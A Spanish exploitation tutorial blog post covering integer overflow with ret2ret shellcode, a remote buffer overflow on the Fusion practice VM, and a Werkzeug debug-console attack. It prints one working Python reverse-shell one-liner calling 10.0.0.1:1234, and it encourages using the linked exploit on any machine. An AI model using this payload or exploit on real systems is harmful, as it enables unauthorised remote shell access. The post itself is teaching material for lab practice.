De 0 a exploiting (X)

Hello my friends, soy Fare9, y ya conocéis esta sección, de 0 a exploiting en estos 10 números nos está enseñando qué es esto del exploiting y cómo llevarlo a cabo (No nos hemos quedado en el típico AAAAAAAAAAAAA y explota). Ya sabéis que, podéis seguirme en twitter Fare9 donde pondré mis últimas noticias (espero dentro de poco dar la noticia de un taller presencial).


Bienvenidos a todos de nuevo, aquí con vosotros Fare9.

Hoy veremos qué es el integer overflow, un exploit remoto y como sorpresa, voy a mostrar un exploit para algunos servidores Python.

Recordemos que tenemos que hacer para compilar:
###############################################

gcc -g -fno-stack-protector -z execstack codigo.c -o programa

###############################################

Empezamos:

Integer Overflow

estas vulnerabilidades, son debidas a como un ordenador trata los números, así como los valores que es capaz de almacenar como máximo, como sabemos, un ordenador puede representar números según la capacidad de almacenamiento de sus tipos.
Una variable entera (Integer), en un sistema de 32 bits, es capaz de almacenar 4 bytes (...32 bits), eso significa que tiene entonces un límite de representación. Los valores enteros se pueden representar de dos formas:

  • Sin signo (no hay negativos): estos pueden representar (en el caso de los tipo int) desde el valor 0 (32 bits igual a 0), hasta el valor 4294967295 (32 bits igual a 1) o más sencillo de calcular 2^32 - 1.
  • Con signo(hay negativos): estos pueden representar (en el caso de los tipo int) desde el valor -2147483648 ( 32 bits igual a 1 ), hasta el valor 2147483647 (31 bits igual a 1 y el más representativo a 0). Esto es así ya que se utiliza el tipo de representación Complemento a 2, donde el primer valor nos dice si el número es positivo (0) o negativo (1). Dejo un enlace a wikipedia, donde viene explicado como pasar los números de decimal a binario en complemento a 2 https://es.wikipedia.org/wiki/Complemento_a_dos
Existen otros tipos enteros, como por ejemplo short que ocupa 2 bytes, aquí dejo una tabla que indica los valores máximos y mínimos:



Ahora vamos a hacernos una pregunta, ¿cuál es el resultado a la siguiente operación?
 Tendremos en cuenta que cada valor hexadecimal son 4 bits, y dos valores hexadecimales son 1 byte (8 bits), por tanto cada f = 1111 . En hexadecimal la respuesta a esta operación es: 0x100000000, pero ¿qué problema hay?
Que si sólo podemos tener máximo 32 bits, estamos metiendo más de 32, por tanto, esto no es representable y se trunca al valor 0x00000000, y se establece a 1 el bit CF o el OF. Y en caso de tener números con signo, hemos pasado de un número negativo a uno positivo, y aquí vienen los problemas.
Vamos a ver un ejemplo sencillo en el que ver esto:
Bien, vemos que tenemos un id que es un integer con signo, y que si ese valor es mayor que 10, saldrá del programa con un -1, y si es menor que 10 o igual que 10, ejecutará check_id,
bien, check_id ejecutará una shell, en caso de que el valor metido sea mayor que 10...
Pero Fare9, ya controlabamos antes, que el valor no fuera mayor a 10.

Pero si nos damos cuenta, el valor dentro de los argumentos en check_id, es un unsigned int id, si metemos un valor de -1, este valor en binario es: 11111111111111111111111111111111. Peeeero, claro el id del método, ese argumento no admite valores negativos, por tanto ese
11111111111111111111111111111111, en decimal sin signo es igual a ‭4294967295‬ (tal y como veíamos en la tabla de arriba).
Este valor entonces es mayor que 10, y por tanto se ejecutará la shell:
Como vemos con un -1, el ID que se muestra en el método no es -1, sino el valor máximo representable por un unsigned int, y se ha ejecutado la shell.

Ya hemos entendido los problemas que pueden darse debido a este tipo de errores, ahora vamos a ver un programa vulnerable:


Este programa quizás no es tan fácil de ver, pero explicaré un poco lo que hace, como primer parámetro le pasaremos el tamaño del segundo parámetro, que pasa, que el valor este que le demos, no puede ser mayor a 255, pues en ese caso obtendremos un mensaje indicando que la longitud es excesiva. Compilaremos como vimos arriba y vemos que pasa si damos un número mayor a 255, indicando que vamos a meter por ejemplo 300 As:

Vemos que el valor "len" es un integer con signo, por tanto si metemos un -1 no sobrepasará el checkeo de if (len >= 256), y podremos seguir, luego vemos que "l", es un entero sin signo, y si metemos un -1, "l" valdrá como vimos antes un número enorme "
‭4294967295". 
Por tanto podremos meter un string muy grande, y como vemos, el programador hizo un strncpy de 280 cuando sólo hay hueco para 256 caracteres. Como veíamos en programas anteriores esto es vulnerable. Vamos entonces a probar a meter un -1 de longitud, y 300 'As', a ver si peta el programa para ver si es vulnerable. y peta:
Vemos, que hemos pasado el check y se ha realizado el strncpy, petando el programa.

Tenemos que ver como aprovechar esta vulnerabilidad, vemos que el primer parámetro pasado al método es la cadena, si esta cadena contiene una shellcode, podríamos intentar por ejemplo un "ret2ret", ya que después de EIP se guardará el puntero a esta cadena y por tanto al shellcode, y el shellcode se ejecutará (Todo explicado en: De 0 a exploiting IX).
Primero entonces tendremos que ver cuantos bytes nos permite el buffer introducir, para ello usaremos nuestro querido pattern petater con 300 bytes por ejemplo, y usaremos el truco del -1. 
Abrimos el programa con gdb:
Ahora generaremos 300 bytes con pattern petater:
Lo pegaremos directamente en gdb de la siguiente manera:
Ejecutamos, vemos donde está el error y lo metemos en patternPetater:

Como vemos, PatternPetater nos dice que el máximo de bytes que acepta nuestro programa es 276, a partir de ahí sobreescribimos EIP.

Ahora tenemos que saber, una dirección donde se encuentre una instrucción ret para realizar el "ret to ret". Para esto usaremos objdump:
Bajaremos hasta la sección <func>, y cogeremos mismo el ret de la función:
Cogemos entonces la dirección de eres ret: 0x080485ba

Ahora tenemos que montar el payload: 

                              276 bytes                              4 bytes EIP              Argumentos
\x90shellcodeeeeeeeeeeeeeeeeeeeeeeeeeeeee       &ret                           &shellcode

Para montarnos este programa, podemos usar nuestro querido lenguaje de programación: Python
Ya tenemos todo menos el shellcode, podemos escoger uno de los que hemos visto en todos estos posts, mi preferido es Aleph1 No Null:

Ya tenemos nuestro exploit montado, como vemos el payload son los argumentos, el -1 con un relleno de NOPS para que nada falle, el shellcode, y para sobreescribir EIP, la dirección a un ret. Vamos a ver la ejecución a ver que obtenemos:

Vamos a ver un poco que pasa a bajo nivel, para ello usaremos nuestro debugger favorito para Linux: edb debugger. Meteremos en python el mismo os.system pero de la siguiente manera:
os.system('edb --run ./integer2 '+payload)

Y veremos un poco lo que tenemos:
Tenemos el cargador del ejecutable de Linux, tenemos que pulsar F9, para que vaya al código de main:
Ya estamos en main, ahora pulsaremos F8, hasta llegar al call del func:
Vemos abajo a la derecha, la pila, como ya dije, el primer parámetro (más arriba en la pila, pues se pasaban de derecha a izquierda), es el puntero a la cadena con nuestro shellcode, para verlo mejor, vamos a ver cómo lo hacemos:
Ponemos el ratón encima del valor más arriba (bf84aed6) click izquierda y luego, pulsamos click derecho y damos a "Follow Address in dump", y vemos que el dump de memoria de abajo a la izquierda se ha modificado:
Como vemos, es nuestra cama de NOPs que nosotros pusimos, con F7, entramos a la función, y vamos a pulsar F8 hasta llegar al "ret" de la función:
En la pila se puede ver, que donde debería haber un valor de EIP, de retorno, se encuentra el valor que hemos metido con la dirección de ret, seguido tenemos la dirección donde empieza nuestro shellcode, si pulsamos F8 dos veces saltaremos directamente después de un ret y otro ret a nuestra shellcode:
Si pulsamos F9, se ejecutará el shellcode completo y en la shell de edb debugger, tendremos nuestra propia shell. Pero si lo probamos, serámejor en bash de Linux.

Con esto hemos visto, como explotar una vulnerabilidad de Integer Overflow. Pasemos entonces a un exploit remoto:

exploit remoto

Para realizar la tarea de exploit remoto, usaremos una máquina virtual conocida como fusión de exploit exercises (se puede descargar a partir de un enlace mostrado en esta página: https://exploit-exercises.com/download/). 
Dentro de esta máquina haremos el ejercicio "level01", explicaré un poco el código en C, ya que es un poco complejo, explicaré el método principal:

Principalmente, se busca una cadena que empiece por "GET ", seguido tenga una ruta válida (nostros meteremos una ruta con una barra '/'), y finalmente la cadena HTTP/1.1, tras esto es posible introducir más caracteres.
Vamos entonces a arrancar la máquina fusión y loguearnos como "fusion" contraseña "godmode".
Para intentar debuggear nuestro programa para ver como explotarlo, tenemos que encontrar su PID para usar gdb:
Vamos a poner gdb entonces, para ello iremos a la carpeta /opt/fusion/bin y aquí ejecutamos lo siguiente:

Es necesario ejecutarlo como root, ya que es un proceso que está como super usuario, por tanto usaremos sudo, si os pide la contraseña, escribiremos "godmode".

El programa está escuchando en el puerto 20001, se puede ver con el comando netstat -apunto (podemos ejecutarlo como sudo si es necesario). 
Para poder enviar comandos, tenemos que tener la máquina de exploiting y fusion en la misma red, para eso si estamos en virtual box, en la configuración de red podemos poner las dos en "red nat":
Para esto tendríais que crear una red nat antes aquí un enlace de youtube que muestra el proceso: https://www.youtube.com/watch?v=X-uBoEW9H2Q

Una vez configurada la red, podéis ver con un ifconfig en la máquina fusion, la ip, en mi caso tiene la 10.0.2.13, y la de exploiting la 10.0.2.11.

Vamos a mandar desde la máquina de exploiting una petición a la máquina fusion:
 Y ahora una vez lanzado veamos el resultado en la máquina fusion para ello escribimos "continue":
Veamos los registros, a ver que tenemos:
Como vemos eip se ha llenado de 'A's por tanto el buffer overflow es posible, ahora veamos el contenido de las direcciones de memoria de  los registros ya que algunos de estos apuntan a la pila.
Como vemos, esp apunta a 0x41414141 ya que habremos sobreescrito el valor de EIP y un poco más, y como sabemos ESP apunta al siguiente valor a donde se guardó EIP a la hora de hacer el "ret". También vemos que el registro ESI, apunta a la segunda parte que enviamos, eso significa que podríamos meter ahí un shellcode, y si tenemos alguna instrucción en plan "jmp esi", podríamos saltar a nuestra shellcode.
Usaremos la técnica que ya vimos para evitar toparnos con ASLR, JMP_ESP, recordemos que tratabamos de encontrar una instrucción para saltar a lo que estuviera apuntado por ESP, pero vamos a intentar buscar otra instrucción JMP ESI, por si existe y así saltar a un shellcode que metamos. 
Lo veremos con un dibujito, ya que así lo vemos todo más sencillo:

Como vemos, donde se guardó EIP, meteremos la dirección de "jmp esp", y donde apunta ESP meteremos los códigos de operación de "jmp esi", finalmente tras el HTTP/1.1 meteremos el shellcode con los NOPS, vamos entonces paso por paso:


  1. Descubrir el máximo de 'A's que podemos meter como relleno
Para ello usaremos pattern petater y en lugar de mandar 300 'A's, mandaremos una cadena de 300 caracteres:
Volvemos a establecer gdb, en la máquina fusion tal y como vimos antes con el nuevo PID que tenga (para ello ya sabéis ps -A | grep level01):

Seguido escribimos continue, para que se queda a la espera de peticiones, ahora enviaremos la petición con la cadena de pattern petater:
Veamos el error en gdb:
Introducimos el valor en PatternPetater y veamos que nos dice:
Como vemos pattern petater nos dice que el máximo de bytes a introducir es 139, después sobreescribiríamos EIP.






    2. Descubrir una dirección de memoria donde se encuentre un "jmp esp"

Para ello usaremos msfelfscan:
Como vemos, tenemos la dirección de un "jmp esp" en 0x08049f4f.

    3. Obtener los opcodes de "jmp esi"

Para ello podemos usar rasm2 de radare2, el cual tendremos en nuestra máquina de exploiting:
Los opcodes serán entonces \xff\xe6.

   4. Crear un exploit usando un shellcode

Daré ahora un código con un shellcode, el cual dejará en la máquina fusion, un puerto a la escucha, usaremos el bytecode de jmp esi, y la dirección de jmp esp.
Como se puede ver, en request, montó todo lo que vamos a enviar, empezando por el GET, metiendo un buffer de 139 'A's ya que era el máximo a introducir, y luego la dirección del salto a ESP apuntando a jmp esi. Finalmente tras el HTTP/1.1 metemos una gran cama de NOPs y un shellcode, el código del shellcode sería como el siguiente:

Vamos entonces a ejecutar el exploit y seguidamente, vamos a usar netcat para conectarnos a la shell que dejamos escuchando:
Como vemos, hemos explotado la vulnerabilidad en este programa, y hemos conseguido dejar una shell escuchando, a través de netcat nos hemos conectado y hemos podido ejecutar comandos sin problemas.
Habríamos entonces conseguido explotar una vulnerabilidad remotamente. En caso de que en otro ordenador no haya sido compilado con opciones para aleatoriedad del código (compilar con las opciones de ASLR en gcc), lo más probable es que el salto de jmp esp, se encuentre en el mismo lugar.

Y ahora como prometí traigo un exploit en python el cual puede ser útil:

Debug Shell Command Execution en Server Werkzeug Python

Werkzeug son una serie de librerías que permiten montar un web server (WSGI), el cual en caso de dejarlo en modo depuración (Debug mode), es capaz de ejecutar comandos python como si de una consola python se tratara.
Nosotros lo que haremos será enviar un shellcode en python, el cual será una reverse shell, esta reverse shell se ejecutará como un comando python:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 Ahora montamos el exploit, para ello he creado un repositorio en github con el código: https://github.com/Fare9/PyWerkzeug-Debug-Command-Execution

Vamos a ver el código del servidor, ejecutarlo y finalmente ejecutar el exploit:
Como vemos es un servidor muy sencillo, pero puede ser que alguien se dejara el servidor en modo debug. Lo ejecutamos y vemos el servidor:
Y como no, tenemos la consola web:


Bien, vemos que se puede ejecutar comandos de python. Vamos entonces a montar el netcat y ejecutar el exploit:

Apretamos ENTER y a ver que pasa...
Lo primero que veremos es que, el exploit parecerá no hacer nada, pues se queda atascado ya que el server no responde se queda "parado", pero si volvemos al netcat:

Como vemos, aprovechando un error humano, hemos podido obtener una shell, tenéis el exploit en github por si, podéis aprovecharlo en cualquier tipo de máquina...


Y hasta aquí el post de "De 0 a exploiting", os he enseñado como aprovechar cosillas como el integer overflow, fallos en programas remotos y finalmente un exploit "semi" real para una vulnerabilidad conocida.

Como os dije, recordad que estoy por twitter, y se van acercando las fechas de un evento que intentaré dar el curso de "De 0 a exploiting" presencial en forma de taller, iré dando más detalles.

Muchas gracias a todos y hasta la próxima, esta vez vendré con un pequeño post sobre un libro que me ha entretenido mucho leer esta semanilla.

Share this

Related Posts

Latest
Previous
Next Post »